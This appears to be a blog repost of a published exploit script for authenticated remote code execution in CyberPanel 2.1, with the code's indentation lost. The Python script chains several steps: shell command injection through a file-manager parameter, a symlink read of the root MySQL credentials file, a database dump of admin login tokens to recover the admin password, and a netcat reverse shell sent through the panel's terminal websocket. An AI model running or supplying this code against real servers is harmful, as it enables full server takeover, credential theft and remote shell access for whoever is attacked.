Tuesday, August 31, 2021

CyberPanel 2.1 Remote Code Execution (RCE) (Authenticated)

# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://cyberpanel.net/
# Software Link: https://github.com/usmannasir/cyberpanel
# Version: <=2.1
# https://www.youtube.com/watch?v=J_8iLELVgkE


#!/usr/bin/python3
# -*- coding: utf-8 -*-
# CyberPanel - Remote Code Execution (Authenticated)
# author: twitter.com/numanturle
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password


import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')
parser.add_argument('-u','--host',help='Host', type=str, required=True)
parser.add_argument('-l', '--login',help='Username', type=str, required=True)
parser.add_argument('-p', '--password',help='Password', type=str, required=True)
parser.add_argument('-f', '--file',help='File', type=str)
args = parser.parse_args()
exploit(args)

def exploit(args):
def on_open(ws):
verifyPath,socket_password
print("[+] Socket connection successful")
print("[+] Trying a reverse connection")
ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}}))
ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password}))
ws.close()

def on_close(ws, close_status_code, close_msg):
print("[+] Successful")
print("[!] Disconnect from socket")


session = requests.Session()
target = "https://{}:8090".format(args.host)
username = args.login
password = args.password

print("[+] Target {}".format(target))

response = session.get(target, verify=False)
session_hand = session.cookies.get_dict()
token = session_hand["csrftoken"]

print("[+] Token {}".format(token))

headers = {
'X-Csrftoken': token,
'Cookie': 'csrftoken={}'.format(token),
'Referer': target
}

login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"})
login_json = json.loads(login.content)

if login_json["loginStatus"]:
session_hand_login = session.cookies.get_dict()

print("[+] Login Success")
print("[+] Send request fetch websites list")

headers = {
'X-Csrftoken': session_hand_login["csrftoken"],
'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
'Referer': target
}

feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10})
feth_weblist_json = json.loads(feth_weblist.content)

if feth_weblist_json["data"]:

weblist_json = json.loads(feth_weblist_json["data"])
domain = weblist_json[0]["domain"]
domain_folder = "/home/{}".format(domain)

print("[+] Successfully {} selected".format(domain))
print("[+] Creating ssh pub")

remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1})
create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
create_ssh_json = json.loads(create_ssh.content)

if create_ssh_json["status"]:
key = create_ssh_json["deploymentKey"]

print("[+] Key : {}".format(key))

explode_key = key.split()
explode_username = explode_key[-1].split("@")

if explode_username[0]:
username = explode_username[0]
hostname = explode_username[1]

print("[+] {} username selected".format(username))
print("[+] Preparing for symlink attack")
print("[+] Attempting symlink attack with user-level command execution vulnerability #1")

target_file = args.file
if not target_file:
target_file = "/root/.my.cnf"
domain_folder_ssh = "{}/.ssh".format(domain_folder)
command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username)
completeStartingPath = "{}';{};'".format(domain_folder,command)

#filemanager/controller - completeStartingPath - command execution vulnerability

symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
symlink_json = json.loads(symlink.content)

if symlink_json["status"]:
print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))

read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
read_file_json = json.loads(read_file.content)
read_file = read_file_json["deploymentKey"]
if not args.file:
print("-----------------------------------")
print(read_file.strip())
print("-----------------------------------")

mysql_password = re.findall('password=\"(.*?)\"',read_file)[0]
steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder)

print("[+] Fetching users tokens")

completeStartingPath = "{}';{}".format(domain_folder,steal_token)
steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
token_file = domain_folder+"/token.txt"
steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain})
leak = json.loads(steal_token_read_request.content)
leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:]
print("------------------------------")
for user in leak:
b64de = base64.b64decode(user).decode('utf-8')
exp_username = b64de.split(":")
if exp_username[0] == "admin":
admin_password = exp_username[1]
print("[+] " + b64de)
print("------------------------------")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print("[+] Try login admin")

headers = {
'X-Csrftoken': token,
'Cookie': 'csrftoken={}'.format(token),
'Referer': target
}
login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"})
login_json = json.loads(login_admin.content)
if login_json["loginStatus"]:
session_hand_login = session.cookies.get_dict()

print("[+] 4dm1n_l061n_5ucc355")
print("[+] c0nn3c71n6_70_73rm1n4l")
headers = {
'X-Csrftoken': session_hand_login["csrftoken"],
'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
'Referer': target
}

get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False)
verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1]
socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1]
print("[+] verifyPath {}".format(verifyPath))
print("[+] socketPassword {}".format(socket_password))
print("[+] Trying to connect to socket")
ws = websocket.WebSocketApp("wss://{}:5678".format(args.host),
on_open=on_open,
on_close=on_close)
ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})

else:
print("[-] Auto admin login failed")
else:
print(read_file)
else:
print("[-] Unexpected")
else:
print("[-] Username selected failed")
else:
print("[-] Fail ssh pub")
else:
print("[-] List error")
else:
print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"]))

if __name__ == "__main__":
init()
 

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Thanks for everything Templateism - You should have written the code a little more complicated